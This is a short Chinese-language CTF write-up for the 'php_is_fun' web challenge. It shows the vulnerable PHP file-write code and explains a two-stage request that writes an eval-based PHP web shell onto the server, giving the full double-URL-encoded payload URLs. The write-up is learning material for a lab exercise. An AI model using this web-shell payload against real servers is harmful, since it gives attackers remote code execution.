把早期的web题刷一刷,把其中一些比较好的给记录下来以便整理、学习
1. php_is_fun
第七季极客大挑战
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('SYCwaf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}
题目分析:
我们,整个题目的输入只有两个地方path
和file
我们要构造的payload也只能从这两个地方传入。两个参数的作用很简单这里就不说了。
我们的目的是将我的文件内容写入文件,发现了他会把path打印出来
因此我们想到利用二次传参,第一层将我们要写的内容打印出来,第二层将打印的内容写入文件
http://127.0.0.1/2.php?path=%3C?php%20@eval($_POST[1]);?%3E&file=http://127.0.0.1/
http://127.0.0.1/2.php?path=jj.php&file=http://127.0.0.1/2.php?path=%3C?php%20@eval($_POST[1]);?%3E&file=http://127.0.0.1/
注意二次编码
最后提交
http://127.0.0.1/2.php?path=aaz.php&file=http://127.0.0.1/2.php?path=%253C%253Fphp%2520@eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%26file=http://127.0.0.1/
然后访问aaz.php